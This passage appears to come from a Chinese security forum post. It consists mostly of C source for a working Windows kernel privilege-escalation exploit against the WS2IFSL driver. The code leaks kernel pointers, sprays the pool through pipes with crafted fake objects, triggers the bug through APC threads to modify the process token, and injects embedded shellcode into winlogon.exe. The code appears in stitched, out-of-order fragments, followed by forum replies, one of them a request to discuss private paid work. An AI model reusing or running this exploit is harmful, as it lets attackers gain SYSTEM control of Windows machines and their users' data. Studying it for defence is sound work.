    printf("[+] Shellcode injected, thread created: %p\n", hthread);
}
 
// static VOID CreateCmd()
// {
//  STARTUPINFO si = { sizeof(si) };
//  PROCESS_INFORMATION pi = { 0 };
//  si.dwFlags = STARTF_USESHOWWINDOW;
//  si.wShowWindow = SW_SHOW;
//  WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
//  BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
//  if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
// }
 
DWORD WINAPI APCThread_2(LPVOID lparam){
    SetEvent(sync_for_thread2);
    while(1){
        if(signal_for_trigger2 == 1){
            printf("[+] thread2 triggering vul...\n");
            NtTestAlert();
 
            InjectCode();
 
            SetEvent(signal_for_LPE);
            while(1){
                Sleep(0x1000);
            }
        }
        else{
            Sleep(1);
        }
    }
    return 0;
 
}
 
DWORD64 GetKernelPointer(HANDLE handle, DWORD type) {
    PSYSTEM_HANDLE_INFORMATION handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(0x20));
    DWORD returnBytes = 0;
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, 0x20, &returnBytes);
 
    if (status == STATUS_INFO_LENGTH_MISMATCH) {
        printf("[-] Length Mismatch in GetKernelPointer\n");
        printf("[+] Taking Second Chance\n");
 
        free(handle_information);
 
        handle_information = (PSYSTEM_HANDLE_INFORMATION)(malloc(returnBytes));
        status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)0x10, handle_information, returnBytes, &returnBytes);
        if (status == STATUS_INFO_LENGTH_MISMATCH) {
            printf("[-] Failed Two Times\n");
            return ERR_LENGTH_MISMATCH;
        }
    }
 
    for (int i = 0; i < handle_information->NumberOfHandles; i++) {
        if (handle_information->Handels[i].ProcessId == GetCurrentProcessId() && handle_information->Handels[i].ObjectTypeNumber == type) {
            if (handle == (HANDLE)handle_information->Handels[i].Handle) {
                DWORD64 TargetObject = (DWORD64)handle_information->Handels[i].Object;
                printf("[+] Target found: pid[%d], Type[%d], Handle[%d], Object[%p]\n", handle_information->Handels[i].ProcessId, type, handle, TargetObject);
                free(handle_information);
                return TargetObject;
            }
        }
    }
    return ERR_DONT_FIND_TARGET;
}
 
HANDLE CreateSocketFileHandle(HANDLE hProc){
    HANDLE fileHandle = 0;
    UNICODE_STRING device_name;
    OBJECT_ATTRIBUTES ObjectAttributes_t;
    IO_STATUS_BLOCK IoStatusBlock_t;
    RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsSct");
 
    InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
 
    FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
 
    eaBuffer->NextEntryOffset = 0;
    eaBuffer->Flags = 0;
    eaBuffer->EaNameLength = sizeof("NifsSct") - 1;
    eaBuffer->EaValueLength = sizeof(SocketData);
 
    RtlCopyMemory(eaBuffer->EaName, "NifsSct", eaBuffer->EaValueLength + 1);
 
    SocketData* eaData = (SocketData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") - 4);
    eaData->unknown = 0x66666666;
    eaData->handle = hProc;
 
    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsSct") + sizeof(SocketData));
    if (status != STATUS_SUCCESS){
        printf("[-] NtCreateFile error: %x \n", status);
        free(eaBuffer);
        return fileHandle;
    }
 
    free(eaBuffer);
    return fileHandle;
}
 
HANDLE CreateProcessFileHandle(HANDLE hThread){
    HANDLE fileHandle = 0;
    UNICODE_STRING device_name;
    OBJECT_ATTRIBUTES ObjectAttributes_t;
    IO_STATUS_BLOCK IoStatusBlock_t;
    RtlInitUnicodeString(&device_name, (PWSTR)L"\\Device\\WS2IFSL\\NifsPvd");
 
    InitializeObjectAttributes(&ObjectAttributes_t, &device_name, 0, NULL, NULL);
 
    FILE_FULL_EA_INFORMATION * eaBuffer = (FILE_FULL_EA_INFORMATION*)malloc(sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
 
    eaBuffer->NextEntryOffset = 0;
    eaBuffer->Flags = 0;
    eaBuffer->EaNameLength = sizeof("NifsPvd") - 1;
    eaBuffer->EaValueLength = sizeof(ProcessData);
 
    RtlCopyMemory(eaBuffer->EaName, "NifsPvd", eaBuffer->EaValueLength + 1);
 
    ProcessData* eaData =  (ProcessData*)(((char*)eaBuffer) + sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") - 4);
 
    eaData->handle = (void*) hThread;
    eaData->unknown1 = (void*) 0x2222222;
    eaData->unknown2 = (void*) 0x3333333;
    eaData->unknown3 = (void*) 0x4444444;
    eaData->unknown4 = (void*) 0x5555555;
 
    NTSTATUS status = NtCreateFile(&fileHandle, MAXIMUM_ALLOWED, &ObjectAttributes_t, &IoStatusBlock_t, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, 0, eaBuffer, sizeof(FILE_FULL_EA_INFORMATION) + sizeof("NifsPvd") + sizeof(ProcessData));
    if (status != STATUS_SUCCESS){
        printf("[-] NtCreateFile error: %x \n", status);
        free(eaBuffer);
        return fileHandle;
    }
 
    free(eaBuffer);
    return fileHandle;
 
}
 
DWORD64 LeakKernelBase(){
    LPVOID lpImageBase[1024];
    DWORD lpcbNeeded;
    TCHAR lpfileName[1024];
 
    EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
 
    for(int i = 0; i < 1024; i++){
        GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
        if(!(strcmp(lpfileName, "ntoskrnl.exe"))){
            printf("[+] Found Kernel Base: %p\n", lpImageBase[i]);
            return lpImageBase[i];
        }
    }
    return NULL;
}
 
int HeapSpray(DWORD64 thread_addr, DWORD64 TokenObj){
 
    DWORD64 KernelBase = LeakKernelBase();
    if(KernelBase == NULL){
        return 0;
    }
     
    HMODULE UserBase = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if(KernelBase == NULL){
        printf("[-] Failed to Load ntoskrnl.exe\n");
        return 0;
    }
    LPVOID UserFuncAddr = GetProcAddress(UserBase, "SeSetAccessStateGenericMapping");
    if(KernelBase == NULL){
        printf("[-] Failed to Get Process Address\n");
        return 0;
    }
 
    printf("[+] UserBase [%p], UserFuncAddr [%p]\n", UserBase, UserFuncAddr);
 
    FreeLibrary(UserBase);
 
    DWORD64 offset = (DWORD64)UserFuncAddr - (DWORD64)UserBase;
    DWORD64 SeSetAccessStateGenericMapping_addr = KernelBase + offset;
    printf("[+] Successfully Found SeSetAccessStateGenericMapping Addr[%p]\n", SeSetAccessStateGenericMapping_addr);
 
 
 
 
 
 
 
    HMODULE UserBase2 = LoadLibraryExA("C:\\Windows\\System32\\ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
    if(KernelBase == NULL){
        printf("[-] Failed to Load ntoskrnl.exe2\n");
        return 0;
    }
    LPVOID UserFuncAddr2 = GetProcAddress(UserBase2, "xHalTimerWatchdogStop");
    if(KernelBase == NULL){
        printf("[-] Failed to Get Process Address2\n");
        return 0;
    }
 
    printf("[+] UserBase2 [%p], UserFuncAddr2 [%p]\n", UserBase2, UserFuncAddr2);
 
    FreeLibrary(UserBase2);
 
    DWORD64 offset2 = (DWORD64)UserFuncAddr2 - (DWORD64)UserBase2;
    DWORD64 xHalTimerWatchdogStop_addr = KernelBase + offset;
    printf("[+] Successfully Found xHalTimerWatchdogStop Addr[%p]\n", xHalTimerWatchdogStop_addr);
 
    DWORD64 Linked_List_Entry = thread_addr + 0xA8;
 
    char payload[0x120 - 0x48];
    memset(payload, '0', 0x120 - 0x48);
 
    *(DWORD64*)(payload + 0x0)  = 0x41414141414141;
    *(DWORD64*)(payload + 0x8)  = 0x12121212;
    *(DWORD64*)(payload + 0x10) = Linked_List_Entry;
    *(DWORD64*)(payload + 0x18) = Linked_List_Entry;
 
    *(DWORD64*)(payload + 0x20) = SeSetAccessStateGenericMapping_addr;
    *(DWORD64*)(payload + 0x28) = 0xffffffffffffffff;
    *(DWORD64*)(payload + 0x30) = 0xffffffffffffffff;
    *(DWORD64*)(payload + 0x38) = 0xffffffffffffffff;
    *(DWORD64*)(payload + 0x40) = 0x4040404040404040;
    *(DWORD64*)(payload + 0x48) = TokenObj;
 
    for (int i = 0; i < 0x70; i++){
        HANDLE readPipe;
        HANDLE writePipe;
        DWORD resultLength = 0;
     
        BOOL res = CreatePipe(&readPipe, &writePipe, NULL, sizeof(payload));
        if (!res){
            printf("[-] Error Creating Pipe\n");
            return 0;
        }
        res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);
    }
 
    return 1;
 
 
 
 
 
}
 
int main() {
 
    // NtQuerySystemInformation_p = (NtQuerySystemInformation_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQuerySystemInformation");
 
    sync_for_thread1 = CreateEvent(0, 0, 0, 0);
    sync_for_thread2 = CreateEvent(0, 0, 0, 0);
    signal_for_LPE = CreateEvent(0, 0, 0, 0);
 
    DWORD PID = GetCurrentProcessId();
 
    HANDLE proc_handle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
    if (proc_handle == NULL) {
        printf("[-] Error Getting Process Handle\n");
        return -1;
    }
    HANDLE hToken = 0;
    BOOL stat = OpenProcessToken(proc_handle, TOKEN_ADJUST_PRIVILEGES, &hToken);
    if(stat == FALSE){
        printf("[-] Failed to Open Process Token\n");
        return -1;
    }
    DWORD64 TokenObj = GetKernelPointer(hToken, TOKEN_TYPE);
 
    if(TokenObj == ERR_DONT_FIND_TARGET){
        printf("[-] Failed to find Token Obj\n");
        return -1;
    }
 
    if(TokenObj == ERR_LENGTH_MISMATCH){
        printf("[-] Length Mismatched Again\n");
        return -1;
    }
 
    NtWriteFile = (NtWriteFile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtWriteFile");
    NtTestAlert = (NtTestAlert_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtTestAlert");
 
    HANDLE hAPCThread1 = CreateThread(0, 0, APCThread_1, 0, 0, 0);
    if (hAPCThread1 == INVALID_HANDLE_VALUE || !hAPCThread1){
        printf("[-] Error CreateThread1\n");
        return -1;
    }
    HANDLE hAPCThread2 = CreateThread(0, 0, APCThread_2, 0, 0, 0);
    if (hAPCThread2 == INVALID_HANDLE_VALUE || !hAPCThread1){
        printf("[-] Error CreateThread2\n");
        return -1;
    }
    WaitForSingleObject(sync_for_thread1, -1);
    WaitForSingleObject(sync_for_thread2, -1);
 
    HANDLE procHandle = CreateProcessFileHandle(hAPCThread1);
    HANDLE sockHandle = CreateSocketFileHandle(procHandle);
    printf("[+] Successfully to Get procHandle[%d], socketHandle[%d]\n", procHandle, sockHandle);
 
    DWORD64 thread_addr1 = GetKernelPointer(hAPCThread1, 0x8);
    DWORD64 thread_addr2 = GetKernelPointer(hAPCThread2, 0x8);
    printf("[+] Successfully to Get threadAddr1[%p], threadAddr2[%p]\n", thread_addr1, thread_addr2);
 
 
    char* readBuffer = (char*)malloc(0x100);
    DWORD bytesRead = 0;
    IO_STATUS_BLOCK io;
    LARGE_INTEGER byteOffset;
    byteOffset.HighPart = 0;
    byteOffset.LowPart = 0;
    byteOffset.QuadPart = 0;
    byteOffset.u.LowPart = 0;
    byteOffset.u.HighPart = 0;
    ULONG key = 0;
 
    CloseHandle(procHandle);
 
    // present字段
    NTSTATUS ret = NtWriteFile(sockHandle, 0, 0, 0, &io, readBuffer, 0x100, &byteOffset, &key);
    CloseHandle(sockHandle);
    if(!HeapSpray(thread_addr1, TokenObj - 8 + 0x40)){
        printf("Heap Spray Error!");
    }
    signal_for_trigger1 = 1;
    Sleep(0x20);
 
 
    // enable字段
    HANDLE procHandle2 = CreateProcessFileHandle(hAPCThread2);
    HANDLE sockHandle2 = CreateSocketFileHandle(procHandle2);
    printf("[+] Successfully to Get procHandle2[%d], socketHandle2[%d]\n", procHandle2, sockHandle2);
    char* readBuffer2 = (char*)malloc(0x100);
    DWORD bytesRead2 = 0;
    IO_STATUS_BLOCK io2;
    LARGE_INTEGER byteOffset2;
    byteOffset2.HighPart = 0;
    byteOffset2.LowPart = 0;
    byteOffset2.QuadPart = 0;
    byteOffset2.u.LowPart = 0;
    byteOffset2.u.HighPart = 0;
    ULONG key2 = 0;
 
    CloseHandle(procHandle2);
 
    NTSTATUS ret2 = NtWriteFile(sockHandle2, 0, 0, 0, &io2, readBuffer2, 0x100, &byteOffset2, &key2);
    CloseHandle(sockHandle2);
 
    if(!HeapSpray(thread_addr2, TokenObj + 0x40)){
        printf("Heap Spray2 Error!");
    }
    signal_for_trigger2 = 1;
 
    // CreateCmd();
 
    WaitForSingleObject(signal_for_LPE, -1);
    ExitProcess(0);
 
    return 0;
}
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#include <ntstatus.h>
#include <processthreadsapi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include<Psapi.h>
#include<profileapi.h>
 
#pragma comment(lib, "ntdll.lib")
 
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
 
#define  ERR_LENGTH_MISMATCH 0xc0001
#define  ERR_DONT_FIND_TARGET 0xc0002
 
#define TOKEN_TYPE 0x5
 
#define PRIV_OFFSET 0x40
 
// typedef NTSTATUS(NTAPI* NtQuerySystemInformation_t)(
//     IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
//     OUT PVOID SystemInformation,
//     IN ULONG SystemInformationLength,
//     OUT PULONG ReturnLength OPTIONAL
//     );
 
// NtQuerySystemInformation_t NtQuerySystemInformation_p = NULL;
 
HANDLE sync_for_thread1 = 0;
HANDLE sync_for_thread2 = 0;
HANDLE signal_for_LPE = 0;
 
int signal_for_trigger1 = 0;
int signal_for_trigger2 = 0;
 
typedef NTSTATUS(WINAPI* NtWriteFile_t)(HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    PLARGE_INTEGER ByteOffset,
    PULONG key);
 
 
typedef NTSTATUS(WINAPI* NtTestAlert_t)(void);
 
NtTestAlert_t NtTestAlert = NULL;
NtWriteFile_t NtWriteFile = NULL;
 
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    ULONG ProcessId;
    UCHAR ObjectTypeNumber;
    UCHAR Flags;
    USHORT Handle;
    void* Object;
    ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
 
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE Handels[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
 
typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;  // 0-3
  UCHAR  Flags;            // 4
  UCHAR  EaNameLength;     // 5
  USHORT EaValueLength;    // 6-7
  CHAR   EaName[1];        // 8
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;
 
typedef struct PorcessData{
    HANDLE handle;
    void* unknown1;    
    void* unknown2;    
    void* unknown3;            
    void* unknown4;
}ProcessData;
 
typedef struct SocketData{
    void* unknown;
    HANDLE handle;
}SocketData;
 
DWORD WINAPI APCThread_1(LPVOID lparam){
    SetEvent(sync_for_thread1);
    while(1){
        if(signal_for_trigger1 == 1){
            printf("[+] thread1 triggering vul...\n");
            NtTestAlert();
            while(1){
                Sleep(0x1000);
            }
        }
        else{
            Sleep(1);
        }
    }
    return 0;
 
}
 
void InjectCode(){
    PROCESSENTRY32W entry;
    entry.dwSize = sizeof(PROCESSENTRY32W);
 
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (snapshot == INVALID_HANDLE_VALUE){
        printf("[-] CreateToolhelp32Snapshot failed: %x\n", GetLastError());
        return;
    }
 
    int pid = -1;
    if (Process32FirstW(snapshot, &entry)) {
        do{
            wprintf(L"[DEBUG] Process: %s, PID: %d\n", entry.szExeFile, entry.th32ProcessID);
            if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0) {
                printf("Found pid[%d]\n", entry.th32ProcessID);
                pid = entry.th32ProcessID;
                break;
            }
        } while (Process32NextW(snapshot, &entry));
    }
    else{
        printf("[-] Process32FirstW failed: %x\n", GetLastError());
    }
 
    CloseHandle(snapshot);
 
    if (pid < 0){
        printf("[-] Could not find process\n");
        return;
    }
 
    HANDLE h = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!h){
        printf("[-] Could not open process: %x\n", GetLastError());
        return;
    }
 
    printf("Allocating Shellcode Space...\n");
 
    void* buffer = VirtualAllocEx(h, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!buffer){
        printf("[-] VirtualAllocEx failed: %x\n", GetLastError());
        CloseHandle(h);
        return;
    }
 

传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2025-8-31 14:52 被h1J4cker编辑 ,原因:
收藏
免费 9
支持
分享
最新回复 (4)
雪    币: 279
活跃值: (3192)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
mark
2025-9-4 07:53
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
可以私聊吗
2025-9-4 12:41
0
雪    币: 1689
活跃值: (1212)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
4
mb_yqsvfqmf 可以私聊吗
有什么问题吗
2025-9-4 22:08
0
雪    币: 42
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
h1J4cker 有什么问题吗
私活
2025-9-8 23:31
0
游客
登录 | 注册 方可回帖
返回